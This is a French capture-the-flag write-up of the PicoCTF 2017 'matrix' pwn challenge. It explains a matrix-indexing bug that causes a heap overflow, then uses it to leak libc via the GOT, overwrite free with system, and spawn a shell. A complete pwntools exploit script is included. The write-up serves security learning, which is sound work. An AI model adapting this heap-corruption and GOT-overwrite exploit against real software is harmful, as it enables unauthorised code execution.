Le PicoCTF est une compétition destinée aux étudiants qui se déroulait du 31 mars au 14 avril. Le CTF est découpé en 5 niveaux de difficulté comportant plusieurs challenges de type pwn,reverse,web,crypto et misc. Le challenge présenté dans ce write-up est un pwn du niveau 3.
Sommaire
- État des lieux
- La vulnérabilité
- Exploitation
Etat des lieux
L’énoncé du challenge
The Matrix awaits you,. Take the red pill and begin your journey. Source. Jack in at shell2017.picoctf.com:19369.
Le binaire et son code source étaient disponible. Et voici les indices :)
Look carefully at how the matrix is indexed. Study the heap memory layout to see what you can overwrite.
On exécute la commande file pour reconnaître le type de binaire :
$ file matrix
matrix: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=abff3e497f8fc6dd76f1c65565694000e473e06c, not stripped
Lorsqu’on exécute le binaire un menu affiche une série d’options qui nous permet de gérer une liste de matrices :
$ ./matrix
Welcome to the Matrix!
Available operations:
create <rows> <cols>
destroy <id>
list
print <id>
get <id> <row> <col>
set <id> <row> <col> <value>
help
quit
Enter command: create 3 3
Successfully created matrix #0.
Enter command: list
Matrix #0: 3 rows, 3 columns
Enter command: set 0 1 1 0.5
Successfully set matrix[1][1] = 0.5
Enter command: destroy 0
Successfully destroyed matrix #0.
L’indice nous donne une précision sur l’emplacement de la vulnérabilité, il faut regarder dans le code source comment les matrices sont gérées, les commande get et set sont les plus intéressante car elles manipulent le contenu des matrices.
Vulnérabilité
On remarque une petite erreur dans la gestion des indices dans les fonctions get et set :
void handle_get(int id, int r, int c) {
struct matrix *m = get_matrix(id);
if(!m)
FATAL("No such matrix!");
if(r < 0 || r >= m->nrows)
FATAL("Can't get row %d", r);
if(c < 0 || c >= m->ncols)
FATAL("Can't get column %d", c);
// vulnerability
INFO("Matrix[%d][%d] = %.9g", r, c, m->data[r * m->nrows + c]);
}
void handle_set(int id, int r, int c, float v) {
struct matrix *m = get_matrix(id);
if(!m)
FATAL("No such matrix!");
if(r < 0 || r >= m->nrows)
FATAL("Can't set row %d", r);
if(c < 0 || c >= m->ncols)
FATAL("Can't set column %d", c);
m->data[r * m->nrows + c] = v; // vulnerability
INFO("Successfully set matrix[%d][%d] = %.9g", r, c, v);
}
La matrice est un tableau nombre ligne * nombre de colonne cases. Le programme contrôle correctement le numéro de colonne et le numéro de ligne. Mais le calcul de l’indice se fait de la manière suivante : numéro ligne * nombre de ligne + numéro colonne.
Alors que le calcul devrait se faire de la manière suivante : numéro ligne * nombre de colonne + numéro colonne.
Donc en créant par exemple une matrice de 10 lignes et 8 colonnes le programme va allouer 80 cases. Mais on pourras utiliser la 81ième case avec les coordonnées suivantes 8 1.
Calcul de l’indice 8 * 10 + 1 = 81 (très compliqué :P ), on sort du tableau.
La matrice étant alloué avec malloc on peut corrompre la matrice suivant dans le tas. La structure est décrite ci-dessus :
struct matrix {
int nrows, ncols;
float *data;
};
Un petit schéma du tas après avoir créé 2 matrices pour expliquer tout ça :
Un bloc alloué avec malloc contient avant tout un champ qui stocke la taille du bloc alloué, les 3 derniers bits contiennent des informations supplémentaires (voir les références pour plus d’informations). Le premier bloc contient les informations sur la matrice, le deuxième son contenu. S’il y a de la place, le bloc contenant les informations sur la 2nd matrices seras placé juste après les données de la première matrice.
On va corrompre le pointeur data de la deuxième matrice pour pouvoir écrire n’importe où en mémoire.
Exploitation
Dans un premier temps je vais créer une classe MatrixProcess qui va nous permettre d’emballer/wrapper chacune des actions proposé par le menu dans une méthode.
from pwn import *
import struct
class MatrixProcess:
def __init__(self,p):
self.p = p
print(self.p.recv())
def create_matrix(self,row,col):
self.p.send("create %d %d\n" % (row,col))
print(self.p.recvline())
def destroy_matrix(self,id):
self.p.send("destroy %d\n" % (id))
print(self.p.recvline())
def get(self,id,row,col):
self.p.send("get %d %d %d\n" % (id,row,col))
recv = self.p.recvline()
recv_list = recv.split("=")
fnumber = float(recv_list[len(recv_list) - 1])
number = struct.unpack("<I",struct.pack("f",fnumber))[0]
print("Matrix [%d][%d] = %x" % (row,col,number))
return number
def set(self,id,row,col,integer_value):
fnumber = struct.unpack("f",struct.pack("<I",integer_value))[0]
print(fnumber)
self.p.send("set %d %d %d %s\n" % (id,row,col,fnumber))
print(self.p.recvline())
def quit(self):
self.p.send("quit\n")
self.p.close()
La méthode get convertiras automatiquement le float récupéré en sa représentation en nombre entier (d’un point de vue binaire).
La méthode set convertiras le nombre entier en paramètre en float correspondant.
Dans un premier temps on créé deux matrices. Ensuite on fait pointer data sur la GOT, sur l’adresse de puts. On récupère l’adresse de la fonction ce qui nous permet de calculer l’adresse de base de la libc pour l’instance courante et l’adresse de system.
p = process(["./matrix"])
print("[+] process id %d" % p.pid)
m = MatrixProcess(p)
m.create_matrix(10,8)
m.create_matrix(1,1)
m.set(0,8,4,puts_got_plt)
puts_leak = m.get(1,0,0)
print("[+] puts_leaks %x" % puts_leak)
On retrouve les offsets des fonctions dans la libc avec l’outil libc-database :
$ ./find puts f757a870
/lib/i386-linux-gnu/libc.so.6 (id local-26103ece934f7ec9301723deb238ff32858eeac5)
$ grep 'puts' db/local-26103ece934f7ec9301723deb238ff32858eeac5.symbols
_IO_puts 0005f870
puts 0005f870
putspent 000ec3a0
putsgent 000edae0
fputs 0005e290
_IO_fputs 0005e290
fputs_unlocked 00068220
$ grep 'system' db/local-26103ece934f7ec9301723deb238ff32858eeac5.symbols
svcerr_systemerr 00113cc0
__libc_system 0003ab30
system 0003ab30
Ensuite on va détourner la fonction free, pour cela il suffit de remplacer son adresse dans la GOT. On fait pointer data vers la GOT, et cette fois-ci on utilise set pour définir une valeur à cette adresse. Lorsqu’on va détruire une matrice le programme va appeler free (voir code source).
libc_base = puts_leak - puts_offset
print("[+] libc base %x" % libc_base)
system = libc_base + system_offset
print("[+] system %x" % system)
m.set(0,8,4,free_got_plt)
m.set(1,0,0,system)
m.destroy_matrix(1)
p.interactive()
Maintenant il manque encore 1 chose comment passer en paramètre la chaîne de caractères “/bin/sh” à free (qui est maintenant system) . Regardons le code source :
void handle_destroy(int id) {
struct matrix *m = get_matrix(id);
if(!m)
FATAL("No such matrix!");
free(m->data);
free(m);
matrices[id] = NULL;
INFO("Successfully destroyed matrix #%d.", id);
}
free prend un pointeur en paramètre, est-ce que nous contrôlons les données pointées ? Oui, on va placer la chaîne de caractères “/bin/sh” tout au début de la matrice 2. On rajoute les deux lignes suivantes avant de détruire la matrice 2 :
m.set(0,8,2,char_0)
m.set(0,8,3,char_1)
On exécute le tout et paf on à un shell ;P en local. Pour obtenir le flag on réalise la même chose via une connexion tcp sur shell2017.picoctf.com 19369 (voir remote dans pwntools). On obtiens un shell et on affiche le mot de passe qui se trouve dans le fichier flag.txt.
Voici le code complet de l’exploit,
#!/usr/bin/env python
from pwn import *
import struct
class MatrixProcess:
def __init__(self,p):
self.p = p
print(self.p.recv())
def create_matrix(self,row,col):
self.p.send("create %d %d\n" % (row,col))
print(self.p.recvline())
def destroy_matrix(self,id):
self.p.send("destroy %d\n" % (id))
print(self.p.recvline())
def get(self,id,row,col):
self.p.send("get %d %d %d\n" % (id,row,col))
recv = self.p.recvline()
recv_list = recv.split("=")
fnumber = float(recv_list[len(recv_list) - 1])
number = struct.unpack("<I",struct.pack("f",fnumber))[0]
print("Matrix [%d][%d] = %x" % (row,col,number))
return number
def set(self,id,row,col,integer_value):
fnumber = struct.unpack("f",struct.pack("<I",integer_value))[0]
print(fnumber)
self.p.send("set %d %d %d %s\n" % (id,row,col,fnumber))
print(self.p.recvline())
def quit(self):
self.p.send("quit\n")
self.p.close()
#/bin/sh
char_0 = 0x6e69622f
char_1 = 0x0068732f
system = 0xf75d9b30
system_offset = 0x0003ab30
free_got_plt = 0x804a10c
puts_got_plt = 0x804a11c
puts_leak = 0
puts_offset = 0x0005f870
libc_base = 0x0
p = process(["./matrix"])
print("[+] process id %d" % p.pid)
m = MatrixProcess(p)
m.create_matrix(10,8)
m.create_matrix(1,1)
saved_value = m.get(0,8,4)
print("[+] save value %x" % saved_value)
m.set(0,8,4,puts_got_plt)
m.set(0,8,2,char_0)
m.set(0,8,3,char_1)
check = m.get(0,8,4)
print("[+] check value %x" % check)
check = m.get(0,8,2)
print("[+] check value %x" % check)
check = m.get(0,8,3)
print("[+] check value %x" % check)
puts_leak = m.get(1,0,0)
print("[+] puts_leaks %x" % puts_leak)
libc_base = puts_leak - puts_offset
print("[+] libc base %x" % libc_base)
system = libc_base + system_offset
print("[+] system %x" % system)
m.set(0,8,4,free_got_plt)
m.set(1,0,0,system)
#m.set(0,8,4,saved_value)
#check = m.get(0,8,4)
#print("[+] check saved value %x" % check)
#m.set(1,0,0,char_0)
#m.set(1,0,1,char_1)
p.recv()
#raw_input()
m.destroy_matrix(1)
p.interactive()
#m.quit()